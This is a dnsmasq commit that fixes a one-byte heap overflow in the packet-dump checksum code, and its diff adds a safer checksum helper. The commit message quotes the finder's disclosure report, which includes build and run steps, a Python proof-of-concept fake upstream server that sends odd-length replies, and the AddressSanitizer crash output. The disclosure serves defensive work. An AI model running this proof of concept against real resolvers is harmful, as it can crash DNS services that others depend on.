Fix packet dump code.

The immediate motivation for this is to fix a potential one byte buffer overflow. The rewrite to fix that resulted in better code, but no other behavioural changes. Thanks to Omkhar Arasaratnam for finding the overflow. His report is below. ------------------------------------------------------------ Summary ------- When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one byte past the end of the upstream-reply receive buffer whenever the reply it is dumping has an odd byte length. do_dump_packet() pads the buffer for its checksum computation with: if (len & 1) ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */ packet here is the exact-sized receive buffer for the upstream reply, so index [len] is one byte out of bounds. A malicious or compromised upstream nameserver (or an on-path attacker able to spoof a UDP reply) that returns an odd-length answer triggers the overflow on every dumped packet. Affected code (built HEAD cf08eeee12) ------------------------------------------------------------------- - Sink: src/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet() - Reached via: dump_packet_udp() (src/dump.c:120) <- reply_query() (src/forward.c:1224) <- check_dns_listeners() <- main(). Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort (remote DoS of the resolver) and latent 1-byte heap corruption in release builds. Precondition: dumpfile/dumpmask enabled. Reproduction ------------ PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply). # Build at HEAD with dumpfile support + ASan make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1" export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0 python3 poc.py 2267 & # odd length; 1497 also fires dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \ --no-resolv --no-hosts --server=127.0.0.1#5354 \ --dumpfile=/tmp/dump.pcap --dumpmask=0xffff # forward a query so the odd-length reply is dumped dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3 Evidence -------- stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee: WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet src/dump.c:243:36, ==ABORTING. Suggested fix ------------- Do not write into packet[len]; compute the odd-byte checksum contribution from a local copy of the final byte, or allocate the receive buffer one byte larger for the dump path. Alternatively pad into a scratch buffer rather than mutating the received packet in place. ---- PROOF-OF-CONCEPT: poc.py ---- import socket, struct, sys PORT = 5354 TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267 # odd s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('127.0.0.1', PORT)) s.settimeout(8.0) print(f"[upstream] listening UDP/{PORT}", flush=True) while True: try: data, addr = s.recvfrom(8192) except socket.timeout: print("[upstream] timeout, exiting", flush=True) break if len(data) < 12: continue qid = data[:2] header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3 # echo the question section i = 12 while i < len(data) and data[i] != 0: i += 1 + data[i] end_q = i + 1 + 4 if i < len(data) else len(data) qsec = data[12:end_q] body = header + qsec pad = TARGET_LEN - len(body) body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN] s.sendto(body[:TARGET_LEN], addr) print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True) break # one-shot ---- CAPTURED OUTPUT (verbatim from the run) ---- Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12. ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0 Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses, offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim. dnsmasq: started, version UNKNOWN cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile dnsmasq: using nameserver 127.0.0.1#5354 dnsmasq: cleared cache dnsmasq: dumping packet 1 mask 0x0001 dnsmasq: dumping packet 2 mask 0x0004 ================================================================= ==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88 WRITE of size 1 at 0x61d000001d5b thread T0 #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dump.c:243:36 #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dump.c:120:8 #2 0x55d1d86f0533 in reply_query <ROOT>/src/forward.c:1224:3 #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq.c #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq.c:1318:2 #5 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb) #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb) #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b) 0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b) allocated by thread T0 here: #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b) #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/util.c:321:15 #2 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb) SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dump.c:243:36 in do_dump_packet Shadow bytes around the buggy address: 0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa 0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4200==ABORTING EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply from the fake upstream drives do_dump_packet's odd-length checksum pad write at src/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
2026-10-01 05:02:25 +07:00 · 2026-07-06 21:22:04 +01:00
parent f8c162b8b0
commit b6b7e5a6fd
1 changed files with 26 additions and 24 deletions
@@ -129,6 +129,23 @@ void dump_packet_icmp(int mask, void *packet, size_t len,
    do_dump_packet(mask, packet, len, src, dst, -1, IPPROTO_ICMP);
 }

+static u32 calc_data_checksum(u32 sum, void *packet, size_t len)
+{
+  u32 i;
+  
+  for (i = 0; i < len/2; i++)
+    sum += ((u16 *)packet)[i];
+  if (len & 1) /* last byte, in case length is odd. */
+    sum += ((unsigned char *)packet)[len - 1];
+  while (sum >> 16)
+    sum = (sum & 0xffff) + (sum >> 16);
+
+  if (sum != 0xffff)
+    sum = ~sum;
+  
+  return sum;
+}
+  
 static void do_dump_packet(int mask, void *packet, size_t len,
 			   union mysockaddr *src, union mysockaddr *dst, int port, int proto)
 {
@@ -226,13 +243,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
 	  udp.uh_dport = dst->in.sin_port;
 	}
      
-      ip.ip_sum = 0;
-      for (sum = 0, i = 0; i < sizeof(struct ip) / 2; i++)
-	sum += ((u16 *)&ip)[i];
-      while (sum >> 16)
-	sum = (sum & 0xffff) + (sum >> 16);  
-      ip.ip_sum = (sum == 0xffff) ? sum : ~sum;
-      
+      ip.ip_sum = 0; /* for the calculation */
+      ip.ip_sum = calc_data_checksum(0, &ip, sizeof(struct ip));
+            
      /* start UDP/ICMP checksum */
      sum = ip.ip_src.s_addr & 0xffff;
      sum += (ip.ip_src.s_addr >> 16) & 0xffff;
@@ -240,9 +253,6 @@ static void do_dump_packet(int mask, void *packet, size_t len,
      sum += (ip.ip_dst.s_addr >> 16) & 0xffff;
    }
  
-  if (len & 1)
-    ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
-
  if (proto == IPPROTO_UDP)
    {
      /* Add Remaining part of the pseudoheader. Note that though the
@@ -252,17 +262,12 @@ static void do_dump_packet(int mask, void *packet, size_t len,
      sum += htons(IPPROTO_UDP);
      sum += htons(sizeof(struct udphdr) + len);
      
-      udp.uh_sum = 0;
+      udp.uh_sum = 0; /* for the calculation */
      udp.uh_ulen = htons(sizeof(struct udphdr) + len);
-      
      for (i = 0; i < sizeof(struct udphdr)/2; i++)
 	sum += ((u16 *)&udp)[i];
-      for (i = 0; i < (len + 1) / 2; i++)
-	sum += ((u16 *)packet)[i];
-      while (sum >> 16)
-	sum = (sum & 0xffff) + (sum >> 16);
-      udp.uh_sum = (sum == 0xffff) ? sum : ~sum;
-
+      udp.uh_sum = calc_data_checksum(sum, packet, len);
+      
      pcap_header.incl_len = pcap_header.orig_len = ipsz + sizeof(udp) + len;
    }
  else
@@ -274,12 +279,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
      sum += htons(proto);
      sum += htons(len);
      
-      icmp->icmp6_cksum = 0;
-      for (i = 0; i < (len + 1) / 2; i++)
-	sum += ((u16 *)packet)[i];
-      while (sum >> 16)
-	sum = (sum & 0xffff) + (sum >> 16);
-      icmp->icmp6_cksum = (sum == 0xffff) ? sum : ~sum;
+      icmp->icmp6_cksum = 0; /* for the calculation */
+      icmp->icmp6_cksum = calc_data_checksum(sum, packet, len);
+      

      pcap_header.incl_len = pcap_header.orig_len = ipsz + len;
    }